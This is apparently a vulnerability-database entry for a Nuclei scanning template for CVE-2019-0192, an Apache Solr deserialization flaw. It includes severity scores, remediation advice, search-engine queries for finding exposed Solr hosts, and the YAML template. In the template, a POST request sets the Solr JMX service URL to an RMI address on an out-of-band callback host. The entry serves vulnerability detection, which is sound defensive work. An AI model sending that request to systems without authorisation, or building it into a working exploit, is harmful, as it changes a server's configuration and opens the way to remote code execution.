SecurityContext

CVE-2019-0192: Apache Solr - Deserialization of Untrusted Data

  • Template: CVE-2019-0192
  • Name: Apache Solr - Deserialization of Untrusted Data
  • Description: In Apache Solr versions 5.0.0 to 5.5.5 and 6.0.0 to 6.6.5, the Config API allows to configure the JMX server via an HTTP POST request. By pointing it to a malicious RMI server, an attacker could take advantage of Solr's unsafe deserialization to trigger remote code execution on the Solr side.
  • Impact: Unauthenticated attackers can trigger remote code execution via unsafe deserialization by pointing the JMX server to a malicious RMI server, leading to complete Solr server compromise.
  • Remediation: Upgrade to Apache Solr version 5.5.6, 6.6.6, or later versions that are not vulnerable.
  • Severity: critical
  • Authors: hnd3884
  • Tags: cve, cve2019, apache, solr, deserialization, rce, oast, vkev, vuln
  • References: https://github.com/Imanfeng/Apache-Solr-RCE, https://nvd.nist.gov/vuln/detail/CVE-2019-0192
  • Cves: CVE-2019-0192
  • Max requests: 2
  • Directory: http/cves
  • Path: http/cves/2019/CVE-2019-0192.yaml
  • Digest: 4a0a00473045022016adf99b39430461b704058f979cac1841efaee6e5e9ffcde9e41e8f41c448c8022100eb99b3f46686d2ba634843db23e867eb2154477e37c242ff982d7b02c09bad95
  • Created at: 2024-11-05T07:19:39Z
  • Updated at: 2026-11-19T02:03:50Z
  • Age in days: 749
  • Template url: https://github.com/projectdiscovery/nuclei-templates/blob/main/http/cves/2019/CVE-2019-0192.yaml
  • Checked, none or zero: verified

Classification

  • Cwe: CWE-502
  • Cvss score: 9.8
  • Cvss vector: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
  • Epss score: 0.78227
  • Epss percentile: 0.99585
  • Cpe: cpe:2.3:a:apache:solr:*:*:*:*:*:*:*:*

Metadata

  • Fofa-query: title="Solr
  • Max-request: 2
  • Product: solr
  • Shodan-query: title:"Solr"
  • Vendor: apache

Products

ProductIndexedUrl
apache:solryes/v1/products/apache/solr

Labels

  • Name: Apache Solr - Insecure Deserialization
  • Impact: Remote attackers can execute arbitrary code on the server, potentially leading to full system compromise.
  • Remediation: Update to the latest patched version of Apache Solr or apply security patches addressing unsafe deserialization.
  • Vulnerability type: insecure_deserialization
  • Vulnerability impact: remote_code_execution
  • Requirement type: none
  • Labels source: projectdiscovery
  • From cve: CVE-2019-0192
  • Not known: requirements

```yaml

id: CVE-2019-0192

info:

name: Apache Solr - Deserialization of Untrusted Data

author: hnd3884

severity: critical

description: |

In Apache Solr versions 5.0.0 to 5.5.5 and 6.0.0 to 6.6.5, the Config API allows to configure the JMX server via an HTTP POST request. By pointing it to a malicious RMI server, an attacker could take advantage of Solr's unsafe deserialization to trigger remote code execution on the Solr side.

impact: |

Unauthenticated attackers can trigger remote code execution via unsafe deserialization by pointing the JMX server to a malicious RMI server, leading to complete Solr server compromise.

remediation: |

Upgrade to Apache Solr version 5.5.6, 6.6.6, or later versions that are not vulnerable.

reference:

- https://github.com/Imanfeng/Apache-Solr-RCE

- https://nvd.nist.gov/vuln/detail/CVE-2019-0192

classification:

cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

cvss-score: 9.8

cve-id: CVE-2019-0192

cwe-id: CWE-502

epss-score: 0.78227

epss-percentile: 0.99585

cpe: cpe:2.3:a:apache:solr:*:*:*:*:*:*:*:*

metadata:

max-request: 2

vendor: apache

product: solr

shodan-query: title:"Solr"

fofa-query: title="Solr

tags: cve,cve2019,apache,solr,deserialization,rce,oast,vkev,vuln

flow: http(1) && http(2)

http:

- raw:

- |

GET /solr/admin/cores?wt=json HTTP/1.1

Host: {{Hostname}}

extractors:

- type: json

name: core_name

json:

- '.status | .[].name'

internal: true

- raw:

- |

POST /solr/{{core_name}}/config HTTP/1.1

Host: {{Hostname}}

Content-Type: application/json

{"set-property":{"jmx.serviceUrl":"service:jmx:rmi:///jndi/rmi://{{interactsh-url}}/obj"}}

matchers:

- type: dsl

dsl:

- 'contains(interactsh_protocol, "dns")'

- 'contains(body, "javax.management.remote.rmi")'

- 'contains(content_type, "text/plain")'

- 'status_code == 500'

condition: and

digest: 4a0a00473045022016adf99b39430461b704058f979cac1841efaee6e5e9ffcde9e41e8f41c448c8022100eb99b3f46686d2ba634843db23e867eb2154477e37c242ff982d7b02c09bad95:922c64590222798bb761d5b6d8e72950

```